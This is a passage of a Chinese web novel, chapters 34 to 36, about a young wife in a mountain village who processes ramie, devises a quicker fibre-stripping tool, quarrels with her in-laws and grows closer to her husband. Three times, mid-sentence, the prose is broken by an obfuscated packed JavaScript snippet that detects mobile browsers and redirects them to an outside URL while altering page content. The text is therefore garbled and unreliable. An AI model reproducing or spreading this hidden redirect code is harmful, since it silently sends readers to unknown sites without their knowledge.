“呵,你说新做一块就做一块?娘都没发话了,你凭什么做主?” 海棠说:“好,我说错了。娘说,不是做一块,是做几块。你哥真辛苦,给你新做几块包头布算什么?” “噗呲——” “娘!” 莲叶忍不住的笑声和刀莲荷愤恨不满的大喊一起爆了出来,刀莲荷气得涨红了脸,甩手抓起一把麻杆朝旁边的莲叶身上打去。 莲叶忍着笑意躲到母亲身后。 白氏把脸一板,斥道:“都不要闹了!把这一捆剥完就赶紧睡觉去,明天还要早起割麻呐!” 刀莲荷犹自不忿,“娘,她那么娇气,你都不骂她几句吗?她还把个头脸包得像个鬼样子似的,只露出一双眼睛来,怪模怪样,乡邻们看见,我嫌丢脸!” 海棠心情好,据理力争,笑意盈盈道:“一、我没偷懒,娘喊休息才休息,娘喊吃饭才去吃饭,娘喊回家我才收拾了回家。二、我是好心建议你防晒,你不听就是了,你就是晒成黑炭也不关我的事情,干嘛反倒说我娇气?说我像鬼样子?我简直比窦娥还冤呐。” 说得头头是道,刀莲生看着她有些晃神儿。 火光之下,她的笑脸红红艳艳,像春天山里开遍的野杜鹃。 莲叶平时给姐姐欺负惯了,刚才又给姐姐打了,见嫂子把姐姐噎得说不出话,连母亲和哥哥也好似站她这一边,暗自添材加火,问嫂嫂:“窦娥是谁?她怎么被冤了?” 于是刀家一家子围坐在拌桶边,映着火光,一边打麻,一边听海棠讲了一出窦娥冤。 “……弱小寡妇窦娥,在无赖张驴儿陷害、昏官桃杌的毒打下,屈打成招,成为杀人凶手,被判斩首示众。临刑前,满腔悲愤的窦娥许下三桩誓愿:血溅白练,六月飞雪,大旱三年。果然,窦娥冤屈感天动地,三桩誓愿一一实现。” 故事听完,刀莲生的黑脸膛更黑了。 白氏那张老脸阴沉得要滴水。 刀莲叶大张着口,震惊又错愕,缩胳膊缩脑袋努力想躲起来。 刀莲荷哭得岔气,指着海棠嘶吼着控诉:“娘、哥,你们都听见了吧?她说她比窦娥还冤。杀人诛心呐,我只是说她割麻偷奸耍滑,太娇气了些,我说的也是事实,她就把我比作无赖和昏官,说我诬陷她,还毒打了她。她还要诅咒我们这里六月飞雪,大旱三年!” 海棠额头直爆冷汗。 天惹,我这下才是比窦娥还冤了。 这大姑子也太会抓重点了吧,更会把事情搞大,这夸张的程度简直是在血口喷人啊。 “我说莲生媳妇儿,哪有你这样埋汰小姑子的?”白氏把这件事定了性。 “……呃,娘,我,我只是打个比方。可能,是夸张了一点……” 刀家四个女人连着割了两天的苎麻,到第三天,因为多了一个人割麻,所以前两天割回去的麻杆很多,光靠晚上那点时间根本弄不赢了,到第三日,白氏和莲叶就没上坡来,留在家里打麻、剥麻,剩下的苎麻就要靠海棠和刀莲荷两个收割完毕。 如今刀莲荷和海棠两看两相厌,两人从出门到坡上割麻,互相都不说话。到了地里,刀莲荷从中间割倒一排麻作为界限,指着左边一块地说:“这一块是你的活儿,”又指下另一边,说:“这一块是我的活儿。各自收完自己那块地的麻,谁也别想偷懒。” 她说谁也别想偷懒,其实主要是想说傅海棠你可别想偷懒。 海棠大乐,“大妹妹你真聪明。好,就这么办。” 她乐得轻松,省得刀莲荷不时跟她计较挑刺说她做的活儿少了,娇气了,回去还要给婆婆告状来着,这下子她可以随便安排自己的活儿了。 刀莲荷重重地哼了一声,下地先把所有苎麻的叶子撸了,然后拿起镰刀就弯腰幢幢地割了起来。 海棠也放下背篓,拿起镰刀下了地,但没急着干活儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14261907|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。她仍是想抖开包头布,把头脸脖子包住,然后再抖开另一块,把右手掌缠了三四圈,缠得厚厚实实的,跟着便用右手掌把苎麻叶子撸光,撸完一排,回头来把这一排割倒在地。 刀莲荷毕竟是熟手,海棠割完一排,她已经把自己那块地放倒了一大片了,还把麻杆一捆捆扎好,数好捆数,心头记下,怕海棠给她使坏。这才来瞟一眼慢条斯理的海棠,只觉得自己划分活计这主意真是好极了。 等到刀莲荷背着一背篓麻杆先回去了,海棠就抱着一捆自己割倒的麻杆走到地边,找了块高的地势坐下来,优哉游哉的开始剥起了麻皮。 为了轻松点,不一趟趟走山路,海棠选择了直接在地里剥麻。 苎麻叶子已经撸光,抓起一根麻杆,从中间扭动着掰折,那处麻皮和里面的麻骨就分开了,然后手指勾住曲起的麻皮,另只手捉着里面的麻骨,交错着上下一撕,麻皮就剥下来了。 等到大半个时辰后刀莲荷再来地里背第二趟,海棠已经剥出来了小半背篓的麻皮了。 刀莲荷愕然失声:“你不背回去泡起来?” 海棠道:“泡麻杆也是为了能让麻皮好剥下来。如果就这样也能剥下来,又何必再费功夫背那么远?” 刀莲荷也不想一趟趟走路了。那麻杆又多又沉,跑三四趟,剥出来的麻皮可能只需要跑一趟就行了。于是她也坐下来,学着海棠在地里剥起麻皮来。 可是因为她一来就把自己负责的那半块地的苎麻全砍倒了,因此不得不多来回了三趟,才把麻杆和麻皮全部背了回去。 刀莲荷来回一趟花在路上的功夫,海棠就剥下一排苎麻麻皮,所以实际上她的有效工作量比刀莲荷还多。等到太阳落坡,最后她也完成了自己的活计不说,还顺便把麻皮也剥了。整体而言,竟是比刀莲荷多做了事情。 海棠仅是背着一背篼麻皮回去,白氏见到,不但没赞儿媳妇聪明,反而脸色沉了沉。 白氏心里头就觉得这儿媳妇不好管束,果然是跟当初曹秀珍对她说的那样,主意多。 她自己太有主意了。 砍麻,泡麻,再剥麻——这样的流程都是上一辈传给下一辈的,一辈传一辈,传帮带,后人跟着学。学得好的,不差分毫,才会被人称赞。被人称赞,就是再向后人传授经验时一项炫耀的资本。 “我那会儿收拾这些麻哟,哪个不说我做得好,做得对?一板一眼儿,认认真真,学到了婆婆的精髓……”诸如此类自吹自擂。 白氏没想到,从来都是砍好的麻杆背回家先在水里跑上一两个时辰,再打麻,剥麻。可她这个儿媳妇,却是直接背回来一背篼剥好的麻皮! 你想挑她的刺吧,可抓着麻皮看了又看,一条条从头剥到的脚,不是半截,是整条,没断呢! 晚上,海棠洗漱后,对婆婆说太累了,想去早点睡了。也不等婆婆回应,就径直入屋睡觉去了。 白氏看看那几大捆泡在拌桶里的麻皮,硬是说不出半个苛责的字。 她发现寻不到海棠的错处啊。 而且,这儿媳妇还提前把下一道工序都做了,你叫她不准睡觉,那留她下来干什么?没有铁篦子,她留下来也无事可干。 可是,她挑战了自己身为婆婆、身为当家女主人的权威,连带着大女儿莲荷也学起了她投机取巧的本事,白氏心里不好受,只觉得喉咙里卡着一口痰,真是不吐不快。 34. 第 34 章 刀莲生天不亮就扛着木钉齿耙出了门,然后他会干到月亮升上头顶的时候才回家。 他几乎每天都这样。 自打改变了收麻方式,海棠晚上就能早睡了。早上刀莲生天不亮出门,那会儿海棠还没起床,起床就看不到他身影了。等到月上中天他从田里回来,那会儿海棠往往因为累了一天,洗漱完就趴床上去呼呼大睡了,不像白氏母女三个劳动惯了的人,晚上还要坐在火塘边打理一个多时辰的麻,于是夫妻两个晚上也没见到一面。 是以,自打海棠晚上不打麻了,她和刀莲生竟一连三日都没打过一回照面。 不过,海棠仍会在睡觉前给他烧好一大锅滚热的水,在灶膛灰堆里埋几块木柴燃着小火,以便让锅里的水一直煨着,好让刀莲生回来的时候能洗个热水澡。 到第四日天下雨了,刀家一家女人都没去山里割麻。 一下雨,山里头不止干活儿费力得很,且山路泞泥不堪,很容易滑倒,有可能还会滚到山崖下去。 这段时间,寨子里的人都收麻,雨天里,不出工,但家家户户一样忙开了。 就跟刀家一样,婆婆、姑娘、媳妇儿,齐上阵,还都是女人,在堂屋里围坐在火塘边,把裤脚卷到大腿根,裸露出雪白的大腿。 然后左手牵麻尾,右手用指甲将晒干的白色的麻纤维撕分成两股、三股或者更多股,想要细点,就把麻丝撕多几股,要粗点就少撕几股。然后把一根根麻丝用掌心压在大腿上来回地搓。搓的过程中不断的接麻丝,并不时把手放在身边的水盆里沾一下水,湿润麻线。慢慢的,一根细小的麻绳就越来越长,最后挽在一个纺车上,缠成一个个麻团,方便以后织布。 次一点的麻或者那些绩麻接麻的时候废了的麻丝都不能浪费了,全都收集起来打成麻绳使用。 仍是先把麻丝先搓成一小股一小股的,然后再几根小股的麻绳拧在一起,并两股或三股,或更多的股的麻绳,拧在一起。要打粗点的绳子就多拧几股,要细绳就少拧几股。 搓麻绳这工作,技术含量低,便是莲叶的活儿。 刀家收割回来的麻,一些已经晾干变成了白色的麻纤维,主要由刀莲荷在负责绩麻接麻了。一部分还是麻皮,泡在那个大拌桶里,还得先除麻皮再晾干才能变成能搓的麻纤维。这除麻皮的事情,主要就是白氏的活儿了。所以刀家的女人,分工合作在不同的流程上。 海棠不想跟着刀莲荷做那搓麻接麻的活儿,她没那涵心,她有自知之明,做那个工作她会比刀莲荷更毛躁,浪费了麻丝,少不得要遭婆婆骂,干脆远离那个工作。 海棠在家里转悠着找家务活儿干,好叫婆婆没话说。 她先去把之前割回来已经焉掉的红苕藤砍得细碎,倒在石槽里喂了牛。等牛吃得差不多了,又灌了半桶水在槽里。然后一盆盆水端着冲洗牛圈。 这事情做完了,她又抱着刀莲生的脏衣服,坐在灶屋门口慢慢地搓洗。 就这么混了一上午。 雨一直下,没个停歇的意思。 外面雾蒙蒙一片,山下的梯田都看不仔细了。 这鬼天气,让人心情都不好。可是刀莲生还没有回来。 想起来中午莲叶去给他送饭,说是哥哥戴了斗笠和蓑衣出门的。那男人真是辛苦。 对比自己,坐在家里遮风挡雨的地方,还能烤火,只需要耐心和细致,那搓麻接麻的事情又算什么呢? 吃过晌午饭,海棠还是拿了根竹板凳去了堂屋。绩麻成线的事情,她做了几次都做不好,引得刀莲荷嗤笑不已。海棠就跟婆婆告饶,希望跟她换换工作。 “娘,你的手在水里都泡白了,那除麻皮的事情还是我来做吧。” 家里除麻皮的工具只有一个,白氏一个人除,白天黑夜的除,进展缓慢。麻的褐色表皮都泡烂了,大拌桶里还泡了几乎一半的麻皮等待去除表皮。 “行吧,你来接手。我去堂伯娘家看看。过些日子要借用他们家的织布机,我去给她先说好。” 白氏这一去,去了很久都没回来。 曹秀珍家里也在打麻,白氏估计是帮忙去了。 就像刀莲生想借人家的骡子用一样,白氏也是要先去帮人家白做一下工的。 其实为了借用曹秀珍家的织布工具,早前白氏就和大女儿刀莲荷得闲的时候就一直帮妯娌家里绩麻来着。 这山里头,一下雨就有些阴冷,海棠去拌桶里捞了一捆麻,就觉得那水沁凉,冷到骨头里了。 那铁篦子就是一个铁指套,外面做得凹凸不平,为的是方便把麻皮的褐色表皮刮擦掉。 铁篦子戴在右手大拇指上,食指上缠一根麻木条,左手捉着麻皮一端,右手大拇指和食指夹着麻皮从头到尾夹紧了用力地快速一拉,那褐色表皮就刮擦下来了。 海棠拉了几十根麻皮后,两条手臂酸得厉害。 因为每拉一下,两条手臂都要往两个方向拉伸,就像拉拉面那样在空中分道扬镳拉开一下。 垂着手休息了一阵子,她忽然想到了个主意。 起身去了牲畜棚。里面丢着很多刀莲生砍回来的竹子的边角料。 她找了节有结巴的指宽的竹片,那蔑刀从中间破开一道缝,然后把这块半破开的竹片竖着绑在一张凳子上,她坐在凳子前,拿一条麻皮卡进缝隙里,往后一拉,一条除了表皮的麻纤维就出来了。这可比摆动两条手臂省力气多了。 把麻皮卡进缝中一拉就完事,还不用像之前那样得掌控好右手大拇指和食指夹住麻皮的力度,你夹松了,皮还不能一次性除尽,还得夹拉第二次。如今这样,简单省事,更不费力气,并且,动作快了不止两倍。 刀莲荷和莲叶都瞪大了看着她。 海棠越做越轻快,连带被阴天雨水影响的心情都好了起来。 莲叶那个搓麻绳的工作做完了后,也学着海棠,找了块竹块来,破开一道缝隙,竖着绑到腿凳子上,坐在凳子前,动作飞快地拉麻去皮。 姑嫂两个还比起了速度,笑声在堂屋里回荡。 雨下了整整一个下午,没有停的迹象。 差不多一个时辰后,那拌桶里泡的麻皮,在姑嫂两个玩乐似的一顿如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14268126|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猛虎般操作下,竟是一个时辰就全部除完皮了。 海棠甩甩手站起来活动腰肢,莲叶则勤快地把所有麻纤维都抱到外面晾在房檐下架起来的竹竿上。 完事后莲叶还想去给姐姐打下手的,但刀莲荷不让。海棠见状,也更没那闲心了。 坐在火塘边拉扯麻皮,竟累出了一身薄汗,她端了根矮板凳坐在门口通风处看雨。 其实是望着外头心里犯愁呢。 晌午饭后,海棠就觉得腰酸疼得厉害,一开始她以为是连着弯腰收割了三天的苎麻,突然的猛烈的劳动量导致酸疼。后来猛地想起,那隐痛的感觉怎么像是大姨妈要来了啊?? 可这日子不是她从前来大姨妈的时间,她也不太确定了。 这一天她去了几次茅厕,都没迹象,心情不大好。 来大姨妈那几天,她的心情都不好,加上今天天气也不好,倚在门框,只百无聊赖的望着外头雨蒙蒙的一片山。 这世界别想着卫生巾那类玩意儿,她得自力更生。 她先前去翻柜子,没找到棉布棉花。柜子里只有几床被子和刀莲生的几套衣裳。 家里肯定有零碎布头和棉花的,很可能是婆婆收着了。 得找婆婆要点布头和棉花,做三五个棉花包当卫生巾用。 莲叶还小,找她没用。莲荷处处看她不顺眼,别指望那个小姑子能理她。只能找婆婆索要东西。 她前日还想着不用讨好婆婆了,感觉这马上就要打脸了啊。 但婆婆不知道怎么回事,这几天对她一直很冷淡。 这老太婆还死倔。 昨天收麻回来,她大骂刀莲荷不该在地里剥麻,应该先把麻杆割回来泡上一两个时辰再剥。 “你这个懒蹄子,好的不学学坏的!懒到骨头缝里了!” 海棠觉得老太太有指桑骂槐之意,便就耐心的解释了几句,也算是给刀莲荷说说好话。 “娘,其实那麻杆只要不干,随便剥。在地里头,它是鲜活的,水分足,所以当场就剥皮是毫无影响的。砍下来再花上一两个时辰背回家,之所以要先泡了再剥,就因为这几个时辰里被大太阳晒了,它脱水了,才要泡的,好让它的杆子吸足水分方便剥皮。” 白氏狠狠剜她一眼,再来一句:“你懂还是我懂?先前割麻都不会的人,还妄想教别人怎么剥麻,指手画脚你倒是很在行!” 那我还没见过猪跑但我还吃过猪肉哩。 婆婆这意思,就跟不会做菜的人没资格说做菜的人今日这菜油放少了,明日那菜盐巴放多了是一样的道理。 老太婆太古板守旧,讲不通的。 不过老年人很多都这样,不喜欢年轻人对他们的做法质疑。 当然海棠不敢这么怼,多一事不如少一事,赶紧把嘴巴闭上了。 入眼满眼都是大山,走几个时辰,走上一天,也都是大山。就是想买也买不到布和棉花,更别说身上一个子儿都没有。 所以这迎接大姨妈的棉花包要怎么解决? 不可能来的那几日就躲在屋里不出门了。 35. 第 35 章 早上起来的时候看外头下的是麻麻雨,刀莲生还是照常出门下田干活儿。 晌午饭后他又干了一个时辰的样子,终于把招满叔家六亩水田全部耙完了。原计划是五天耙完的,现在四天就提前完工了,为家里那几亩水田多争取了一日的农时。 完成了一项重要工作,天又在下雨,他先去跟招满叔婶交代了一声,然后就牵着他们家的骡子,扛着木耙回家来了,打算明天再开始犁自家的田。 回到家,刀莲生把骡子拴到自家牲畜圈里。 早几日前他就清理出来一个空圈。喂骡子的苎麻叶也是昨天他就叫小妹准备好了的。莲叶去自家苎麻地里撸的最嫩的麻尖尖那部分的叶子回来。 用人家的骡子的这几日,一定要小心伺候畜生。畜生瘦了伤了,主人家肯定心里起疙瘩,不但以后再借不到畜生,两家关系也有可能就此走到尽头。所以,得伺候得比自家的牲畜还要仔细。 刀莲生把骡子拴好后,先倒了半背篓苎麻叶在石槽里,然后又灌了一槽清水。在骡子背脊抚摸了一会儿,深情地打量这头健骡,想起这圈里从前也有一头健骡,承载着他所有的希望和全家人的希望,不觉暗叹口气,这才去了灶屋。 洗干净手脚,进了堂屋,看见海棠和莲叶两个排排坐在矮凳子上,面前都另搁着一张长条凳,她俩双脚都伸到凳子下面压着横木稳着凳子。长条凳的中间稀奇古怪地绑着块竖起来的厚篾块。手上,飞快地把一根根麻皮往篾块中间卡进去,然后逮着麻皮一端往身前一拉,一条条麻皮眨眼间就只剩一条条白色的麻筋了。 刀莲生觉得这除麻皮的法子真是精巧,又快又省力。 定然又是海棠想到的。 家里这么多年打理苎麻都是用的同样的方式,从来没改变过,不会有人想到去另辟蹊径。 姑嫂两个做得欢快。火塘周围的位置都给三个女人占了,他便走到墙根下去,坐在自己那张简陋的凉床上看她们除麻皮。 早上他出门早,凉床铺就没收起来。反正最近家家户户都忙着收麻,不会有人来串门子的,自然他和新媳妇晚上是怎么睡觉的这事儿就不会传出去给人说闲话。 刀莲生斜靠在叠起来的被子上看了一会儿,眼皮儿就直打架,很快他就睡过去了。 他实在太累了。 睡醒了后,夜幕已经垂了下来。 看来他睡得有点久,至少睡了一个时辰不止。 起身时发现身上还盖着一床薄被。 从被面的花纹看,是海棠日常用的那床被子。 刀莲生把被子叠好,送还到卧房去,放在海棠的床上。 白氏已经回来,几个女人照旧围坐在火塘边,都在绩麻了。 海棠今天没去山里干活儿,可再不能跟婆婆说累着了要去早睡。 因为下午出了一身汗,所以她先去灶屋烧了一锅热水,提到圈棚里洗了个热水澡,这才来跟着婆婆学绩麻接麻。 刀莲生下午睡过了,此时清醒无比。打理苎麻的事情母亲不让他沾手,但他肯定是闲待不住的。他在屋里屋外转了一圈儿,最后转去圈棚里拖了半根早前砍回来没用完的竹子,打算编个什么东西出来。 海棠坐在火塘边,把裙子撩起来,露出雪白的大腿。已撕成丝丝缕缕的麻丝压在大腿上,濡湿的掌心再压上去来回搓几下。然后再抓起几根麻丝,一根根接在已经搓过的麻丝尾部,接头位置压在腿上,来回再搓几下。 她动作慢,就慢慢绩麻。 鉴于她下午把半个拌桶里泡着的麻皮都除了,现在她动作慢,白氏对她很宽容。 刀莲生侧坐在海棠身后不远处,一抬头,就能看到她火光映照的侧脸,暖红暖红的。她不做声的时候,她低垂着眼睫专心做事的时候,那侧脸,温柔、秀婉。 她的头发也洗了,还没烘干,她披散在肩头,一低头,长发就垂落下来挡住她的侧容和半边肩头,这时候刀莲生会停下来看她一阵,直到她抬手,手指插进头发根儿,将头发从额头往脑后一抹,那把长发随之一飘荡,风情万种。 然后他收回视线,专注手上的篾条。 竹子不够多,只能编个小东西。此时他正在编一个竹篓子,预备农闲的时候带着竹篓去山脚下的河里捉鱼虾。 这种小竹篓因为平时用得极少,一年可能就用一两回。不用的时候扔在角落里,再找出来时已经坏了。 东西就是这么怪。有的是用得频繁就越容易坏,有的是不用,容易坏。 夏天来了,山下河里的鱼啊虾蟹什么的都出来了。稻秧栽了后就能闲下来一阵子,可以经常去河里捉些鱼虾蟹回来给家里人打打牙祭。 想到吃的,刀莲生忍不住又看向海棠。 她不知这里的习惯,以为家里不给她吃晚饭还找他质问的一幕还犹如发生在昨天,叫他忍俊不禁。 她来这里的第一天起就被迫习惯一天只吃两顿饭,就是那两顿也是粗粮,没什么营养价值,也就不过五六日吧,她原本有些圆润的脸蛋儿,竟是肉眼可见地瘦得凹下去了,颧骨也隐约可见。 刀莲生看了看海棠瘦削的身子,抿紧了唇。 海棠似乎这几天也没睡好,眼睛周围大片阴影。可能是从来没这样大强度地在山里干过农活儿,累着了吧。这几日听说她都睡得早,但是还是一副憔悴模样。 时辰有点晚了,白氏起身,招呼一家子收拾收拾赶紧去睡觉了。 回身对儿子说:“你也早点休息。忙活几天了,好好休息一下,明天不用那么早出门。我瞅着明天还是个阴雨天,下田早了,那水刺骨。” 刀莲生说:“我把这竹篓子编完就睡。” 白氏和两个女儿上楼去了,海棠因为头发还没烘干,就还坐在火塘前,把头发都撩到胸前,半弓着脊背,双手枕在膝盖上,额头又抵在手背上,闭上眼假寐,长发则任其垂落在火塘前飘飘悠悠地烘着。 刀莲生又编了两排竹篓,然后起身去了灶屋,几分钟后他回来,走到海棠身侧,轻声道:“哎!” 海棠抬起身子,扭头看他。 “我看灶头上还煨着碗面汤,你去喝了吧。”说完他想了想,还添了句,“省得浪费了。” 其实是他现做的面汤,但没好意思这么说。 海棠怏怏地“哦”了声,没动作,复又把额头扑在膝盖头上闭上了眼。 外面的雨声像下沙一样,沙沙的响,悦耳轻快,是极好的催眠曲。 海棠心里这时候却在想,这个世界真是太无聊了,山里的日子更是枯燥乏味。每天都是重复机械的重劳力劳动,过不久,她就会变成真正的山里人、碧约寨里的女人,黑,壮,结实。这样子的日子,有啥盼头诶? 过了会儿,身后传来轻微的走动声,片刻后海棠就听见刀莲生又道:“你怎的不去吃?” 她都懒得再直起身子了,说:“没什么胃口。” 话未落音,肚子咕噜一阵响。 海棠赧然,抚着肚皮嘀咕发牢骚,给自己找台阶下,“天天都是那些吃的,还吃不饱。不是说嫁汉嫁汉,穿衣吃饭嘛。咋我嫁了你,饭都吃不饱?” 刀莲生蹙着浓眉看着她好一会儿,慢慢脸色别扭,呐呐的:“你……”他迟疑了下,说:“你想吃烤糍粑吗?” 海棠心里一荡,倏地坐直身体,回身热切地看向他:“哪里有?” 刀莲生把手里蔑刀和编了一半的竹篓放在地上,走到北墙那道木楼梯下面,然后抬手一阵鼓捣,海棠看他竟从那道石墙上取下来一块长方形的石板,然后又是一块,再一块。 每块石板都约莫四十公分宽、一米来长。 刀莲生一共从墙上取下来六块石板后,露出来里面黑洞洞一个空间。 她走过去看,原来两边是石柱,柱子中间有凹槽,石板就是卡在这凹槽里的。 她探头看那个黑洞洞的地方,里头一团漆黑,她问刀莲生这是什么。 刀莲生回身去点了油灯端过来,回道:“谷仓。” “是吗?我要看看!” 海棠一下来了兴趣。 她可是一直很好奇刀家把粮食藏在哪儿的,原来竟是在这道木楼梯下面的这堵石板墙后面。 刀莲生取了六块石板后,剩下那块大约就一道门槛的高度。 刀莲生掌着油灯,牵着海棠跨进谷仓里。 这谷仓地面比堂屋地面高一道门槛的高度,为的是防潮,不让它接触地气。 海棠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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几分钟后,伴随着糍粑受热膨胀、炸裂,外部形成一层金黄色的脆皮花纹时,刀莲生将糍粑夹到海棠坐的那根凳子边沿上,然后鼓起腮帮子对着糍粑表面猛吹几口气,那上面沾上的草木灰就给他吹散了。 香喷喷的米香味儿在空气里无声无色地漂浮着。 享受美味的时间到了。 “小心点别烫着手了。”刀莲生提醒道。 海棠正要伸手去拿,突然听见一道声音:“怎么还不睡?你俩在干嘛呢?搞得框框当当的响,在翻箱倒笼吗?” 白氏觉浅,给楼下的动静吵醒,披上衣服走到楼梯口弯腰看见海棠和刀莲生坐在火塘边,遂出声询问道。 刀莲生倏地站起身来,高大的身体挡住火塘,也挡住了糍粑和要伸手去拿的海棠,呐呐:“娘,我们,我们只是说话来着。” 海棠看看男人宽阔的后背。 这家伙也不是一味憨傻,还挺会来事的。 白氏半信半疑地复又上楼了。 刀莲生转身坐下来继续编他的竹篓。 海棠看他那双大手,因为长年累月做农活,粗糙而厚实。 他几根手指,又粗又黑,掌心里满满的老茧,想起之前他牵她的手,她感觉到手背上像茅草似的刺痒,那是他粗糙的皮肤刺着她娇嫩的肌肤了。 他的手指十分灵活,编那竹篓,像技艺高超的绣娘绣花一样,一把篾条在他手里翻飞,他飞针走线,一圈圈,一扎扎,竹篓胖胖的身子,矮粗的脖子,不一会儿,形状出来了,很快就能收尾了。 刀莲生探手拿了根篾条扎进经纬中,眼皮也不抬,“怎的不吃?待会儿就冷了。下雨天,冷得快。” 海棠呼出口气,尖着几根手指拿起一块还有些发烫的糍粑递给他:“你也吃。” “你自己吃。我不饿。”刀莲生用胳膊挡住。 但海棠可没忽略掉他暗自吞口水的动作,不觉暗笑。 “那我可不跟你客气了哟,——哎哟,好烫好烫!”海棠假装没拿住,那块糍粑要进她口中的时候突然掉了,她飞快地捡起来朝刀莲生怀中扔过去,说:“这块掉地上了,我不吃了,给你吃。” 完了后又尖着几根手指拿起另一块,这才吃到嘴里。 火塘边,有暖茶,有米香,还有一个烫得龇牙咧嘴仍要大快朵颐的美人儿。 刀莲生觉得自己的心也给烫了一下,“你本来就不跟我客气——要给我,怎不多递几次?非要弄到地上去给我。” “哈呀!”海棠惊愕地看向男人。 跳跃的火光里,海棠第一次看见这个叫刀莲生的男人脸上,坦然地露出愉悦的笑容。 咦?他的牙真白! 36. 第 36 章 刀家的苎麻全部都从地里割回来了,剩下的事情绩麻,接麻线,把麻线织成布匹。 刀莲荷记仇,坚决不要海棠去给她打下手,阴阳怪气地给母亲说,“她是嫂子,我敢给她分派活儿吗?到时候意见不合,那该谁做主?娘,她是咱家的新媳妇儿,你该让她表现表现。干脆今年家里的麻,都叫她打理出来吧,好叫我们见识下嫂嫂织布的能耐。” 还表现个啥呀?当初连麻都不会割的。 再看看她乌龟爬的那绩麻的慢动作! 白氏今年是着意要把大女儿培养出来的,一来是要她独挡一面,自己好腾出手去帮儿子做田里的事情。二来,莲荷年纪大了,再过一两年就该嫁了。山里女人,人人都得会打理苎麻,从收割到最后做成衣服裤子,这整套都要娴熟,要做得好,以后嫁去了婆家,婆家一家子穿的都要靠儿媳妇来置办的,不然就没地位。 就像她现在自己这个儿媳妇,真是,哪哪儿都看不顺眼,她竟然连麻都不会打理。 不过,想到她是汉家女子,是山外头的女人。山外头的人穿棉衣,人家会打理的是棉花,把棉花纺成线,最后织成棉布。这一来,你也不能说她笨。 这样的儿媳妇,除了慢慢教她,别无他法。 若是一味地骂,只能显得自己这婆婆不通情理。 地里的苎麻反正也已经全部收割回来了,剩下的就是在家里处理的活儿。 白氏便也没说什么,叫莲叶帮姐姐,其余的家务活儿都交给海棠来做。 洗衣做饭、打扫屋子、割草喂牛喂骡子,等等,所有的家务活儿全是海棠的事情。白氏母女三个就专心伺候那一杆杆晾晒得像青纱帐似的的麻筋。 头麻质量好,一家子穿用都靠这头麻。除了做身新衣裳,麻布和麻绳售卖得到的银钱,能管够明年一家子必要的开销,像是买盐巴,买针头线脑,小儿子买点书墨什么的。 以后的二麻三麻,收割回来织不了一匹布。基本都是留着自己家用了,卖不到啥钱,像是做个麻袋,做条床单什么的。 是以,对于这头麻的打理,白氏很重视。 海棠二话没说,都应承下来。 但是,问题来了。 她吃过猪肉但是没见过猪跑。 在现代,洗衣用洗衣机,做饭用天然气,扫地有扫地机,就是喝水也有饮水机,所以你叫她洗衣做饭喂牛,全是人工一样样干,她搞不灵醒,弄得手忙脚乱,还不时跑到堂屋来问,“娘,肥皂有吗?啊,没肥皂,就那个洗衣服能出泡泡的东西有吗?”“小妹,火柴有没有?这火镰打了半天,冒出来的火星子点不着柴火啊,急死人了!莲叶,干脆你来帮嫂子把火生起来算了。”“娘,水缸里快没水了,待会儿没水喂牛了。要不晌午饭还是叫莲生回家吃,顺便就把水缸挑满?” 除了莲叶,白氏和刀莲荷都不想搭理她。 大半天下来,她家务活儿没做成两样,却差点把灶房引燃了! 刀莲生从田里回来,就见海棠耷拉着脑袋立在灶房门口。 院坝里一片狼藉,乱七八糟堆着不少东西。 是他母亲和两个妹妹抢救出来的锅盖、筲箕、背篓和碗柜板凳等易燃物,一大堆木柴,以及,还倒着两只水桶。 另外院坝边的大脚盆里泡着一大盆衣服,水清亮,也不知道是洗了还是没洗的。 洗干净了,就该晾起来呀,这太阳都偏西了。 莲叶又抱着一捆湿漉漉的木柴出来丢在院坝里晾晒,看见他,喊了声哥。 刀莲生看看那一捆滴水的柴禾,把海棠看一眼后,先去把木齿耙放进牲畜棚里,骡子也牵到圈里拴好,然后去了灶房。 先踩了一脚的泥——厨房的泥地已经泡软了。再看其他,烧不坏的锅碗瓢盆都淌着淋漓的水。灶膛后头那堵土墙,已经完全熏黑了。连草棚里也都被火舌撩到,烧出来一大片黢黑,黑灰不住往下落。 那口大水缸半躺在屋中央。 白桂景拉长了老脸,正指挥大女儿刀莲荷同她一起把水缸抬开,然后她拿了把大扫帚把坑洼里的积水扫到外头地坝去。 白氏嘴里一直骂骂咧咧,看见儿子进屋,简明扼要地骂了句带缘由的话,“差点把灶屋引燃了不说,连衣服也洗不干净!你自己说说你还有啥子用?!” 海棠看见刀莲生,脸滚烫,只觉得很没面子,她忍不住给自己争辩了一句,“娘,这里没肥皂,我搓了半天,它就是洗不干净嘛。” 虽然一家子衣服不是黑色就是蓝色那种深色衣服,经脏,可黑色倒是看不出脏污,蓝色的衣服却是比较显眼的。 白氏之前穿了一身藏蓝色衣裤去地里干活儿,背红苕藤啊,砍苎麻杆啊,染上了草木的浆汁。她换得又不勤,衣服很脏了才脱下来洗。那些绿色褐色的浆汁早就跟颜料一样把衣服染扎实了。 海棠搓得手发红了也没办法洗掉,只好就这么拧干了衣服晾起来,给白氏看见,一顿骂,她只得把衣服又取下来泡在盆里,想着多泡一泡再搓洗一回。 